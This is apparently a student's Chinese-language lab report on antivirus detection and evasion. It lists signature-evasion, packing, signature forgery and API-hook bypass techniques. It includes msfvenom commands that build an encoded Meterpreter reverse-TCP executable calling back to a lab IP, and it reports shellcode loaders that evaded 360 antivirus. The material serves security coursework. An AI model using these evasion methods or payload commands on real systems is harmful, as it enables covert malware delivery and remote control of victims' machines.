1.1 基於特徵碼的檢測php
1.1.1 特徵庫舉例-Snorthtml
1.2 啓發式惡意軟件檢測linux
1.3 基於行爲的惡意軟件檢測git
通常是對惡意軟件作處理,讓它不被殺毒軟件所檢測。也是滲透測試中須要使用到的技術。shell
手工修改;
非源碼數據庫
若是特徵碼定位到數據(經過IDA/OD等確認),其實很差修改,稍微不慎就會致使程序不能運行,或者影響程序運行流程或結果。編程
字符串,若是不影響程序邏輯,能夠替換大小寫;若是可有可無的數據,隨意替換;等等,看狀況而定。
整數,若是不影響結果,替換值,清零等等操做。
地址,基本應該不能修改,具體看狀況。
PE頭數據,根據PE結構具體來看,無用數據清零或修改,有用數據看狀況修改。
最後,終極修改方法,找到訪問數據的代碼,直接修改代碼訪問數據的地址,數據也能夠放到其餘地址了,其實就如同修改源碼同樣修改,確定沒有修改源碼那麼容易(見後)。
反正特徵碼定位到數據位置不容易修改(能夠再試試後面的盲免殺)。windows
若是特徵碼定位到代碼(也經過IDA/OD等確認),在不改變程序功能基礎上,應用各類方法修改。api
等價替換匯編代碼,如mov eax,0能夠換成xor eax,eax,直接結果相同,二進制代碼不一樣。
交換代碼順序,在不影響邏輯的狀況下。
代碼塊移位,將代碼塊移動不用的內存位置,經過加入jmp addr跳過去執行,addr是新的代碼塊地址。
源碼網絡
在有源碼的狀況下,修改的方式就更靈活了,更簡單了。
若是特徵碼是數據,那麼修改數據位置,訪問數據的代碼位置等(思想類比非源碼方式)。
加花指令,這是最有效也是最經常使用的方式,要點在於如何加話指令。
加數據計算代碼,加減乘除各種組合。
加字符串操做代碼,增長、刪除、查找、替換等。
加多層跳轉,跳轉間加無效指令(不會執行的)。
加貌似有效的API調用,如LoadLibrary+GetProcAddr+API等。
等等。
工具免殺;
在沒找到有效的特徵碼,或者很差修改的時候,能夠試試這種方式。
資源操做
使用ResHacker對文件進行資源操做,找來多個正常軟件,將它們的資源加入到本身軟件,如圖片,版本信息,對話框等。
使用ResHacker替換無用的資源(Version等)。
使用簽名僞造工具,將正常軟件的簽名信息加入到本身軟件中。
幾種方式能夠交替重複屢次進行組合使用。
PE操做
使用PE優化工具對文件進行優化,刪除0,PE頭優化,附加數據等。
增長節數據,隨意加入無效數據。
加殼
能夠將加殼簡單理解爲:解密器/解壓器+加密器/壓縮器(原始代碼)。
經過加密器/壓縮器將原始代碼進行加密壓縮,讓其特徵碼變化隱藏,而後組裝上解密器/解壓器到文件中,運行是先運行解密/解壓器,將加密壓縮內容解密解壓,而後繼續運行原始代碼。
殼也有特徵,知名殼都已經被分析的很是多了,殺軟基本都能查這類殼,或者自動脫殼,而後進行查殺。
因此加冷門殼,殼特徵未被分析,不能自動脫殼,能夠更好隱藏原始代碼,獲得免殺效果。
將經常使用殼進行修改,讓殼特徵變化,也能夠是殺軟失效。
好比修改入口,區段信息修改,入口代碼移位。
能夠類比爲免殺殼,上面介紹的方法均可以使用。
動態行爲免殺
使用相同功能的API進行替換,殺軟不可能攔截了全部API,因此這種方式仍是有效的。好比MoveFileEx替換MoveFile。
尋找相同功能的未導出API進行替換,殺軟攔截通常是導出API,或者底層調用,尋找未導出API有必定效果。
尋找方法,經過分析目標API內部調用,找到內部一個或多個未導出API,來完成相同功能。
徹底重寫系統API功能(經過逆向),實現本身的對應功能API,對於ring3的行爲攔截很是有效。好比實現MoveFile等。
ring3的API攔截經過是掛鉤API頭幾個字節內容,而後進入殺軟本身函數進行參數檢查之類的。
那麼若是調用API時,跳過頭部幾字節,就能夠避開這種攔截方式。
__API:
1 push ebp;
2 mov ebp, esp;
3 mov edi, edi;
4 ...
調用時,不適用1地址,而使用4地址,而後本身函數內部還原跳過幾字節的調用。
__API_MY:
push ebp;
mov ebp, esp;
mov edi, edi;
call 4
該方法相似於2和3,殺軟攔截API可能更加高層(語義更清楚),那就能夠找更底層API進行調用,繞過攔截,好比使用NT函數。
或者經過DeviceIoControl調用驅動功能來完成API功能。
模擬系統調用。
有時攔截行爲是經過多個API組合來完成的,因此合理替換順序,繞過殺軟攔截策略,也能夠繞過改行爲攔截。
好比,先建立服務,再將服務對應文件拷貝過去。
經過調用其它進行功能來完成API的功能。比較經典的如,經過rundll32.exe來完成dll加載,經過COM來操做文件等等。
參考: 免殺技術有一套(免殺方法大集結)
越學這門課越以爲心驚
1.如何將程序悄無聲息地植入對方電腦
2.如何使對方電腦的程序運行,併成功與控制端鏈接
3.隨着時間的推移,殺軟數據庫會更新,被查殺的可能性增長
把上一次實驗用msfvenom生成的5325bd.exe放入http://www.virscan.org/進行檢測
按照教程用msfvenom屢次編譯
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > met-encoded.exe msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > met-encoded.exe
其實檢測結果並無 太大的變化
用msfvenom生成.jar和.php
用msfvenom生成shellcode,作成20155325.c
用C語言重寫meterperter
把成果進行檢測
把20155325.c編譯成可執行文件(後更名爲p5325..exe)
進行檢測
max5325.c
加殼並檢測
以上的程序中:p5325.exe p5325_upx.exe在win10的360殺毒下實現免殺
可是很噁心心的事情就是
兩個都回連失敗
問題二:在進行檢測時
解決:去掉2015就好……可能年份會讓這麼一個網站感到時光流逝的滄桑,因此拒絕有關年紀的話題。